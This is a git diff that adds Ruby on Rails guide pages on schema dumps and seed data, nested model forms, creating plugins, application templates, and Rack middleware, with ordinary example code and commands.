+If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look
+at this file you'll find that it looks an awful lot like one very big
+migration:
+
+```ruby
+ActiveRecord::Schema.define(version: 20080906171750) do
+  create_table "authors", force: true do |t|
+    t.string   "name"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+  end
+
+  create_table "products", force: true do |t|
+    t.string   "name"
+    t.text "description"
+    t.datetime "created_at"
+    t.datetime "updated_at"
+    t.string "part_number"
+  end
+end
+```
+
+In many ways this is exactly what it is. This file is created by inspecting the
+database and expressing its structure using `create_table`, `add_index`, and so
+on. Because this is database-independent, it could be loaded into any database
+that Active Record supports. This could be very useful if you were to
+distribute an application that is able to run against multiple databases.
+
+There is however a trade-off: `db/schema.rb` cannot express database specific
+items such as foreign key constraints, triggers, or stored procedures. While in
+a migration you can execute custom SQL statements, the schema dumper cannot
+reconstitute those statements from the database. If you are using features like
+this, then you should set the schema format to `:sql`.
+
+Instead of using Active Record's schema dumper, the database's structure will
+be dumped using a tool specific to the database (via the `db:structure:dump`
+Rake task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump`
+utility is used. For MySQL, this file will contain the output of
+`SHOW CREATE TABLE` for the various tables.
+
+Loading these schemas is simply a question of executing the SQL statements they
+contain. By definition, this will create a perfect copy of the database's
+structure. Using the `:sql` schema format will, however, prevent loading the
+schema into a RDBMS other than the one used to create it.
+
+### Schema Dumps and Source Control
+
+Because schema dumps are the authoritative source for your database schema, it
+is strongly recommended that you check them into source control.
+
+Active Record and Referential Integrity
+---------------------------------------
+
+The Active Record way claims that intelligence belongs in your models, not in
+the database. As such, features such as triggers or foreign key constraints,
+which push some of that intelligence back into the database, are not heavily
+used.
+
+Validations such as `validates :foreign_key, uniqueness: true` are one way in
+which models can enforce data integrity. The `:dependent` option on
+associations allows models to automatically destroy child objects when the
+parent is destroyed. Like anything which operates at the application level,
+these cannot guarantee referential integrity and so some people augment them
+with foreign key constraints in the database.
+
+Although Active Record does not provide any tools for working directly with
+such features, the `execute` method can be used to execute arbitrary SQL. You
+can also use a gem like
+[foreigner](https://github.com/matthuhiggins/foreigner) which adds foreign key
+support to Active Record (including support for dumping foreign keys in
+`db/schema.rb`).
+
+Migrations and Seed Data
+------------------------
+
+Some people use migrations to add data to the database:
+
+```ruby
+class AddInitialProducts < ActiveRecord::Migration
+  def up
+    5.times do |i|
+      Product.create(name: "Product ##{i}", description: "A product.")
+    end
+  end
+
+  def down
+    Product.delete_all
+  end
+end
+```
+
+However, Rails has a 'seeds' feature that should be used for seeding a database
+with initial data. It's a really simple feature: just fill up `db/seeds.rb`
+with some Ruby code, and run `rake db:seed`:
+
+```ruby
+5.times do |i|
+  Product.create(name: "Product ##{i}", description: "A product.")
+end
+```
+
+This is generally a much cleaner way to set up the database of a blank
+application.
diff --git a/guides/source/nested_model_forms.md b/guides/source/nested_model_forms.md
new file mode 100644
index 0000000..855fab1
--- /dev/null
+++ b/guides/source/nested_model_forms.md
@@ -0,0 +1,225 @@
+Rails nested model forms
+========================
+
+Creating a form for a model _and_ its associations can become quite tedious. Therefore Rails provides helpers to assist in dealing with the complexities of generating these forms _and_ the required CRUD operations to create, update, and destroy associations.
+
+After reading this guide, you will know:
+
+* do stuff.
+
+--------------------------------------------------------------------------------
+
+NOTE: This guide assumes the user knows how to use the [Rails form helpers](form_helpers.html) in general. Also, it's **not** an API reference. For a complete reference please visit [the Rails API documentation](http://api.rubyonrails.org/).
+
+
+Model setup
+-----------
+
+To be able to use the nested model functionality in your forms, the model will need to support some basic operations.
+
+First of all, it needs to define a writer method for the attribute that corresponds to the association you are building a nested model form for. The `fields_for` form helper will look for this method to decide whether or not a nested model form should be build.
+
+If the associated object is an array a form builder will be yielded for each object, else only a single form builder will be yielded.
+
+Consider a Person model with an associated Address. When asked to yield a nested FormBuilder for the `:address` attribute, the `fields_for` form helper will look for a method on the Person instance named `address_attributes=`.
+
+### ActiveRecord::Base model
+
+For an ActiveRecord::Base model and association this writer method is commonly defined with the `accepts_nested_attributes_for` class method:
+
+#### has_one
+
+```ruby
+class Person < ActiveRecord::Base
+  has_one :address
+  accepts_nested_attributes_for :address
+end
+```
+
+#### belongs_to
+
+```ruby
+class Person < ActiveRecord::Base
+  belongs_to :firm
+  accepts_nested_attributes_for :firm
+end
+```
+
+#### has_many / has_and_belongs_to_many
+
+```ruby
+class Person < ActiveRecord::Base
+  has_many :projects
+  accepts_nested_attributes_for :projects
+end
+```
+
+### Custom model
+
+As you might have inflected from this explanation, you _don't_ necessarily need an ActiveRecord::Base model to use this functionality. The following examples are sufficient to enable the nested model form behavior:
+
+#### Single associated object
+
+```ruby
+class Person
+  def address
+    Address.new
+  end
+
+  def address_attributes=(attributes)
+    # ...
+  end
+end
+```
+
+#### Association collection
+
+```ruby
+class Person
+  def projects
+    [Project.new, Project.new]
+  end
+
+  def projects_attributes=(attributes)
+    # ...
+  end
+end
+```
+
+NOTE: See (TODO) in the advanced section for more information on how to deal with the CRUD operations in your custom model.
+
+Views
+-----
+
+### Controller code
+
+A nested model form will _only_ be built if the associated object(s) exist. This means that for a new model instance you would probably want to build the associated object(s) first.
+
+Consider the following typical RESTful controller which will prepare a new Person instance and its `address` and `projects` associations before rendering the `new` template:
+
+```ruby
+class PeopleController < ApplicationController
+  def new
+    @person = Person.new
+    @person.built_address
+    2.times { @person.projects.build }
+  end
+
+  def create
+    @person = Person.new(params[:person])
+    if @person.save
+      # ...
+    end
+  end
+end
+```
+
+NOTE: Obviously the instantiation of the associated object(s) can become tedious and not DRY, so you might want to move that into the model itself. ActiveRecord::Base provides an `after_initialize` callback which is a good way to refactor this.
+
+### Form code
+
+Now that you have a model instance, with the appropriate methods and associated object(s), you can start building the nested model form.
+
+#### Standard form
+
+Start out with a regular RESTful form:
+
+```erb
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+<% end %>
+```
+
+This will generate the following html:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+</form>
+```
+
+#### Nested form for a single associated object
+
+Now add a nested form for the `address` association:
+
+```erb
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :address do |af| %>
+    <%= af.text_field :street %>
+  <% end %>
+<% end %>
+```
+
+This generates:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_address_attributes_street" name="person[address_attributes][street]" type="text" />
+</form>
+```
+
+Notice that `fields_for` recognized the `address` as an association for which a nested model form should be built by the way it has namespaced the `name` attribute.
+
+When this form is posted the Rails parameter parser will construct a hash like the following:
+
+```ruby
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "address_attributes" => {
+      "street" => "Nieuwe Prinsengracht"
+    }
+  }
+}
+```
+
+That's it. The controller will simply pass this hash on to the model from the `create` action. The model will then handle building the `address` association for you and automatically save it when the parent (`person`) is saved.
+
+#### Nested form for a collection of associated objects
+
+The form code for an association collection is pretty similar to that of a single associated object:
+
+```erb
+<%= form_for @person do |f| %>
+  <%= f.text_field :name %>
+
+  <%= f.fields_for :projects do |pf| %>
+    <%= pf.text_field :name %>
+  <% end %>
+<% end %>
+```
+
+Which generates:
+
+```html
+<form action="/people" class="new_person" id="new_person" method="post">
+  <input id="person_name" name="person[name]" type="text" />
+
+  <input id="person_projects_attributes_0_name" name="person[projects_attributes][0][name]" type="text" />
+  <input id="person_projects_attributes_1_name" name="person[projects_attributes][1][name]" type="text" />
+</form>
+```
+
+As you can see it has generated 2 `project name` inputs, one for each new `project` that was built in the controller's `new` action. Only this time the `name` attribute of the input contains a digit as an extra namespace. This will be parsed by the Rails parameter parser as:
+
+```ruby
+{
+  "person" => {
+    "name" => "Eloy Duran",
+    "projects_attributes" => {
+      "0" => { "name" => "Project 1" },
+      "1" => { "name" => "Project 2" }
+    }
+  }
+}
+```
+
+You can basically see the `projects_attributes` hash as an array of attribute hashes, one for each model instance.
+
+NOTE: The reason that `fields_for` constructed a form which would result in a hash instead of an array is that it won't work for any forms nested deeper than one level deep.
+
+TIP: You _can_ however pass an array to the writer method generated by `accepts_nested_attributes_for` if you're using plain Ruby or some other API access. See (TODO) for more info and example.
diff --git a/guides/source/plugins.md b/guides/source/plugins.md
new file mode 100644
index 0000000..8a6e9b6
--- /dev/null
+++ b/guides/source/plugins.md
@@ -0,0 +1,444 @@
+The Basics of Creating Rails Plugins
+====================================
+
+A Rails plugin is either an extension or a modification of the core framework. Plugins provide:
+
+* A way for developers to share bleeding-edge ideas without hurting the stable code base.
+* A segmented architecture so that units of code can be fixed or updated on their own release schedule.
+* An outlet for the core developers so that they don't have to include every cool new feature under the sun.
+
+After reading this guide, you will know:
+
+* How to create a plugin from scratch.
+* How to write and run tests for the plugin.
+
+This guide describes how to build a test-driven plugin that will:
+
+* Extend core Ruby classes like Hash and String.
+* Add methods to `ActiveRecord::Base` in the tradition of the `acts_as` plugins.
+* Give you information about where to put generators in your plugin.
+
+For the purpose of this guide pretend for a moment that you are an avid bird watcher.
+Your favorite bird is the Yaffle, and you want to create a plugin that allows other developers to share in the Yaffle
+goodness.
+
+--------------------------------------------------------------------------------
+
+Setup
+-----
+
+Currently, Rails plugins are built as gems, _gemified plugins_. They can be shared across
+different rails applications using RubyGems and Bundler if desired.
+
+### Generate a gemified plugin.
+
+
+Rails ships with a `rails plugin new` command which creates a
+skeleton for developing any kind of Rails extension with the ability
+to run integration tests using a dummy Rails application. Create your 
+plugin with the command:
+
+```bash
+$ bin/rails plugin new yaffle
+```
+
+See usage and options by asking for help:
+
+```bash
+$ bin/rails plugin --help
+```
+
+Testing Your Newly Generated Plugin
+-----------------------------------
+
+You can navigate to the directory that contains the plugin, run the `bundle install` command
+ and run the one generated test using the `rake` command.
+
+You should see:
+
+```bash
+  2 tests, 2 assertions, 0 failures, 0 errors, 0 skips
+```
+
+This will tell you that everything got generated properly and you are ready to start adding functionality.
+
+Extending Core Classes
+----------------------
+
+This section will explain how to add a method to String that will be available anywhere in your rails application.
+
+In this example you will add a method to String named `to_squawk`. To begin, create a new test file with a few assertions:
+
+```ruby
+# yaffle/test/core_ext_test.rb
+
+require 'test_helper'
+
+class CoreExtTest < ActiveSupport::TestCase
+  def test_to_squawk_prepends_the_word_squawk
+    assert_equal "squawk! Hello World", "Hello World".to_squawk
+  end
+end
+```
+
+Run `rake` to run the test. This test should fail because we haven't implemented the `to_squawk` method:
+
+```bash
+    1) Error:
+  test_to_squawk_prepends_the_word_squawk(CoreExtTest):
+  NoMethodError: undefined method `to_squawk' for [Hello World](String)
+      test/core_ext_test.rb:5:in `test_to_squawk_prepends_the_word_squawk'
+```
+
+Great - now you are ready to start development.
+
+In `lib/yaffle.rb`, add `require "yaffle/core_ext"`:
+
+```ruby
+# yaffle/lib/yaffle.rb
+
+require "yaffle/core_ext"
+
+module Yaffle
+end
+```
+
+Finally, create the `core_ext.rb` file and add the `to_squawk` method:
+
+```ruby
+# yaffle/lib/yaffle/core_ext.rb
+
+String.class_eval do
+  def to_squawk
+    "squawk! #{self}".strip
+  end
+end
+```
+
+To test that your method does what it says it does, run the unit tests with `rake` from your plugin directory.
+
+```bash
+  3 tests, 3 assertions, 0 failures, 0 errors, 0 skips
+```
+
+To see this in action, change to the test/dummy directory, fire up a console and start squawking:
+
+```bash
+$ bin/rails console
+>> "Hello World".to_squawk
+=> "squawk! Hello World"
+```
+
+Add an "acts_as" Method to Active Record
+----------------------------------------
+
+A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you
+want to write a method called `acts_as_yaffle` that adds a `squawk` method to your Active Record models.
+
+To begin, set up your files so that you have:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+end
+```
+
+```ruby
+# yaffle/lib/yaffle.rb
+
+require "yaffle/core_ext"
+require 'yaffle/acts_as_yaffle'
+
+module Yaffle
+end
+```
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    # your code will go here
+  end
+end
+```
+
+### Add a Class Method
+
+This plugin will expect that you've added a method to your model named `last_squawk`. However, the
+plugin users might have already defined a method on their model named `last_squawk` that they use
+for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+end
+```
+
+When you run `rake`, you should see the following:
+
+```
+    1) Error:
+  test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+  NameError: uninitialized constant ActsAsYaffleTest::Hickwall
+      test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+    2) Error:
+  test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+  NameError: uninitialized constant ActsAsYaffleTest::Wickwall
+      test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+  5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+```
+
+This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test.
+We can easily generate these models in our "dummy" Rails application by running the following commands from the
+test/dummy directory:
+
+```bash
+$ cd test/dummy
+$ bin/rails generate model Hickwall last_squawk:string
+$ bin/rails generate model Wickwall last_squawk:string last_tweet:string
+```
+
+Now you can create the necessary database tables in your testing database by navigating to your dummy app
+and migrating the database. First, run:
+
+```bash
+$ cd test/dummy
+$ bin/rake db:migrate
+```
+
+While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act
+like yaffles.
+
+```ruby
+# test/dummy/app/models/hickwall.rb
+
+class Hickwall < ActiveRecord::Base
+  acts_as_yaffle
+end
+
+# test/dummy/app/models/wickwall.rb
+
+class Wickwall < ActiveRecord::Base
+  acts_as_yaffle yaffle_text_field: :last_tweet
+end
+
+```
+
+We will also add code to define the `acts_as_yaffle` method.
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        # your code will go here
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+You can then return to the root directory (`cd ../..`) of your plugin and rerun the tests using `rake`.
+
+```
+    1) Error:
+  test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest):
+  NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8>
+      /Users/xxx/.rvm/gems/ruby-1.9.2-p136 at xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+      test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk'
+
+    2) Error:
+  test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest):
+  NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748>
+      Users/xxx/.rvm/gems/ruby-1.9.2-p136 at xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing'
+      test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet'
+
+  5 tests, 3 assertions, 0 failures, 2 errors, 0 skips
+
+```
+
+Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass.
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+   extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+When you run `rake`, you should see the tests all pass:
+
+```bash
+  5 tests, 5 assertions, 0 failures, 0 errors, 0 skips
+```
+
+### Add an Instance Method
+
+This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk'
+method will simply set the value of one of the fields in the database.
+
+To start out, write a failing test that shows the behavior you'd like:
+
+```ruby
+# yaffle/test/acts_as_yaffle_test.rb
+require 'test_helper'
+
+class ActsAsYaffleTest < ActiveSupport::TestCase
+
+  def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
+    assert_equal "last_squawk", Hickwall.yaffle_text_field
+  end
+
+  def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
+    assert_equal "last_tweet", Wickwall.yaffle_text_field
+  end
+
+  def test_hickwalls_squawk_should_populate_last_squawk
+    hickwall = Hickwall.new
+    hickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", hickwall.last_squawk
+  end
+
+  def test_wickwalls_squawk_should_populate_last_tweet
+    wickwall = Wickwall.new
+    wickwall.squawk("Hello World")
+    assert_equal "squawk! Hello World", wickwall.last_tweet
+  end
+end
+```
+
+Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'",
+then update 'acts_as_yaffle.rb' to look like this:
+
+```ruby
+# yaffle/lib/yaffle/acts_as_yaffle.rb
+
+module Yaffle
+  module ActsAsYaffle
+    extend ActiveSupport::Concern
+
+    included do
+    end
+
+    module ClassMethods
+      def acts_as_yaffle(options = {})
+        cattr_accessor :yaffle_text_field
+        self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
+
+        include Yaffle::ActsAsYaffle::LocalInstanceMethods
+      end
+    end
+
+    module LocalInstanceMethods
+      def squawk(string)
+        write_attribute(self.class.yaffle_text_field, string.to_squawk)
+      end
+    end
+  end
+end
+
+ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle
+```
+
+Run `rake` one final time and you should see:
+
+```
+  7 tests, 7 assertions, 0 failures, 0 errors, 0 skips
+```
+
+NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:
+
+```ruby
+send("#{self.class.yaffle_text_field}=", string.to_squawk)
+```
+
+Generators
+----------
+
+Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about
+the creation of generators can be found in the [Generators Guide](generators.html)
+
+Publishing Your Gem
+-------------------
+
+Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply
+commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:
+
+```ruby
+gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'
+```
+
+After running `bundle install`, your gem functionality will be available to the application.
+
+When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org).
+For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html).
+
+RDoc Documentation
+------------------
+
+Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.
+
+The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:
+
+* Your name
+* How to install
+* How to add the functionality to the app (several examples of common use cases)
+* Warnings, gotchas or tips that might help users and save them time
+
+Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public API.
+
+Once your comments are good to go, navigate to your plugin directory and run:
+
+```bash
+$ bin/rake rdoc
+```
+
+### References
+
+* [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md)
+* [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/)
+* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20)
+* [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins)
diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md
new file mode 100644
index 0000000..0bd608c
--- /dev/null
+++ b/guides/source/rails_application_templates.md
@@ -0,0 +1,248 @@
+Rails Application Templates
+===========================
+
+Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project.
+
+After reading this guide, you will know:
+
+* How to use templates to generate/customize Rails applications.
+* How to write your own reusable application templates using the Rails template API.
+
+--------------------------------------------------------------------------------
+
+Usage
+-----
+
+To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the -m option. This can either be a path to a file or a URL.
+
+```bash
+$ rails new blog -m ~/template.rb
+$ rails new blog -m http://example.com/template.rb
+```
+
+You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL.
+
+```bash
+$ bin/rake rails:template LOCATION=~/template.rb
+$ bin/rake rails:template LOCATION=http://example.com/template.rb
+```
+
+Template API
+------------
+
+The Rails templates API is easy to understand. Here's an example of a typical Rails template:
+
+```ruby
+# template.rb
+generate(:scaffold, "person name:string")
+route "root to: 'people#index'"
+rake("db:migrate")
+
+git :init
+git add: "."
+git commit: %Q{ -m 'Initial commit' }
+```
+
+The following sections outline the primary methods provided by the API:
+
+### gem(*args)
+
+Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`.
+
+For example, if your application depends on the gems `bj` and `nokogiri`:
+
+```ruby
+gem "bj"
+gem "nokogiri"
+```
+
+Please note that this will NOT install the gems for you and you will have to run `bundle install` to do that.
+
+```bash
+bundle install
+```
+
+### gem_group(*names, &block)
+
+Wraps gem entries inside a group.
+
+For example, if you want to load `rspec-rails` only in the `development` and `test` groups:
+
+```ruby
+gem_group :development, :test do
+  gem "rspec-rails"
+end
+```
+
+### add_source(source, options = {})
+
+Adds the given source to the generated application's `Gemfile`.
+
+For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`:
+
+```ruby
+add_source "http://code.whytheluckystiff.net"
+```
+
+### environment/application(data=nil, options={}, &block)
+
+Adds a line inside the `Application` class for `config/application.rb`.
+
+If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`.
+
+```ruby
+environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: 'production'
+```
+
+A block can be used in place of the `data` argument.
+
+### vendor/lib/file/initializer(filename, data = nil, &block)
+
+Adds an initializer to the generated application's `config/initializers` directory.
+
+Let's say you like using `Object#not_nil?` and `Object#not_blank?`:
+
+```ruby
+initializer 'bloatlol.rb', <<-CODE
+  class Object
+    def not_nil?
+      !nil?
+    end
+
+    def not_blank?
+      !blank?
+    end
+  end
+CODE
+```
+
+Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory.
+
+There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed:
+
+```ruby
+file 'app/components/foo.rb', <<-CODE
+  class Foo
+  end
+CODE
+```
+
+That'll create the `app/components` directory and put `foo.rb` in there.
+
+### rakefile(filename, data = nil, &block)
+
+Creates a new rake file under `lib/tasks` with the supplied tasks:
+
+```ruby
+rakefile("bootstrap.rake") do
+  <<-TASK
+    namespace :boot do
+      task :strap do
+        puts "i like boots!"
+      end
+    end
+  TASK
+end
+```
+
+The above creates `lib/tasks/bootstrap.rake` with a `boot:strap` rake task.
+
+### generate(what, *args)
+
+Runs the supplied rails generator with given arguments.
+
+```ruby
+generate(:scaffold, "person", "name:string", "address:text", "age:number")
+```
+
+### run(command)
+
+Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `README.rdoc` file:
+
+```ruby
+run "rm README.rdoc"
+```
+
+### rake(command, options = {})
+
+Runs the supplied rake tasks in the Rails application. Let's say you want to migrate the database:
+
+```ruby
+rake "db:migrate"
+```
+
+You can also run rake tasks with a different Rails environment:
+
+```ruby
+rake "db:migrate", env: 'production'
+```
+
+### route(routing_code)
+
+Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application:
+
+```ruby
+route "root to: 'person#index'"
+```
+
+### inside(dir)
+
+Enables you to run a command from the given directory. For example, if you have a copy of edge rails that you wish to symlink from your new apps, you can do this:
+
+```ruby
+inside('vendor') do
+  run "ln -s ~/commit-rails/rails rails"
+end
+```
+
+### ask(question)
+
+`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding:
+
+```ruby
+lib_name = ask("What do you want to call the shiny library ?")
+lib_name << ".rb" unless lib_name.index(".rb")
+
+lib lib_name, <<-CODE
+  class Shiny
+  end
+CODE
+```
+
+### yes?(question) or no?(question)
+
+These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to freeze rails only if the user wants to:
+
+```ruby
+rake("rails:freeze:gems") if yes?("Freeze rails gems?")
+# no?(question) acts just the opposite.
+```
+
+### git(:command)
+
+Rails templates let you run any git command:
+
+```ruby
+git :init
+git add: "."
+git commit: "-a -m 'Initial commit'"
+```
+
+Advanced Usage
+--------------
+
+The application template is evaluated in the context of a
+`Rails::Generators::AppGenerator` instance. It uses the `apply` action
+provided by
+[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207).
+This means you can extend and change the instance to match your needs.
+
+For example by overwriting the `source_paths` method to contain the
+location of your template. Now methods like `copy_file` will accept
+relative paths to your template's location.
+
+```ruby
+def source_paths
+  [File.expand_path(File.dirname(__FILE__))]
+end
+```
diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md
new file mode 100644
index 0000000..7f3ba9b
--- /dev/null
+++ b/guides/source/rails_on_rack.md
@@ -0,0 +1,333 @@
+Rails on Rack
+=============
+
+This guide covers Rails integration with Rack and interfacing with other Rack components.
+
+After reading this guide, you will know:
+
+* How to use Rack Middlewares in your Rails applications.
+* Action Pack's internal Middleware stack.
+* How to define a custom Middleware stack.
+
+--------------------------------------------------------------------------------
+
+WARNING: This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and `Rack::Builder`.
+
+Introduction to Rack
+--------------------
+
+Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.
+
+- [Rack API Documentation](http://rack.rubyforge.org/doc/)
+
+Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below.
+
+Rails on Rack
+-------------
+
+### Rails Application's Rack Object
+
+`ApplicationName::Application` is the primary Rack application object of a Rails
+application. Any Rack compliant web server should be using
+`ApplicationName::Application` object to serve a Rails
+application. `Rails.application` refers to the same application object.
+
+### `rails server`
+
+`rails server` does the basic job of creating a `Rack::Server` object and starting the webserver.
+
+Here's how `rails server` creates an instance of `Rack::Server`
+
+```ruby
+Rails::Server.new.tap do |server|
+  require APP_PATH
+  Dir.chdir(Rails.application.root)
+  server.start
+end
+```
+
+The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way:
+
+```ruby
+class Server < ::Rack::Server
+  def start
+    ...
+    super
+  end
+end
+```
+
+Here's how it loads the middlewares:
+
+```ruby
+def middleware
+  middlewares = []
+  middlewares << [Rails::Rack::Debugger] if options[:debugger]
+  middlewares << [::Rack::ContentLength]
+  Hash.new(middlewares)
+end
+```
+
+`Rails::Rack::Debugger` is primarily useful only in the development environment. The following table explains the usage of the loaded middlewares:
+
+| Middleware              | Purpose                                                                           |
+| ----------------------- | --------------------------------------------------------------------------------- |
+| `Rails::Rack::Debugger` | Starts Debugger                                                                   |
+| `Rack::ContentLength`   | Counts the number of bytes in the response and set the HTTP Content-Length header |
+
+### `rackup`
+
+To use `rackup` instead of Rails' `rails server`, you can put the following inside `config.ru` of your Rails application's root directory:
+
+```ruby
+# Rails.root/config.ru
+require ::File.expand_path('../config/environment', __FILE__)
+
+use Rails::Rack::Debugger
+use Rack::ContentLength
+run Rails.application
+```
+
+And start the server:
+
+```bash
+$ rackup config.ru
+```
+
+To find out more about different `rackup` options:
+
+```bash
+$ rackup --help
+```
+
+Action Dispatcher Middleware Stack
+----------------------------------
+
+Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application.
+
+NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements.
+
+### Inspecting Middleware Stack
+
+Rails has a handy rake task for inspecting the middleware stack in use:
+
+```bash
+$ bin/rake middleware
+```
+
+For a freshly generated Rails application, this might produce something like:
+
+```ruby
+use Rack::Sendfile
+use ActionDispatch::Static
+use Rack::Lock
+use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
+use Rack::Runtime
+use Rack::MethodOverride
+use ActionDispatch::RequestId
+use Rails::Rack::Logger
+use ActionDispatch::ShowExceptions
+use ActionDispatch::DebugExceptions
+use ActionDispatch::RemoteIp
+use ActionDispatch::Reloader
+use ActionDispatch::Callbacks
+use ActiveRecord::Migration::CheckPending
+use ActiveRecord::ConnectionAdapters::ConnectionManagement
+use ActiveRecord::QueryCache
+use ActionDispatch::Cookies
+use ActionDispatch::Session::CookieStore
+use ActionDispatch::Flash
+use ActionDispatch::ParamsParser
+use Rack::Head
+use Rack::ConditionalGet
+use Rack::ETag
+run MyApp::Application.routes
+```
+
+The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below.
+
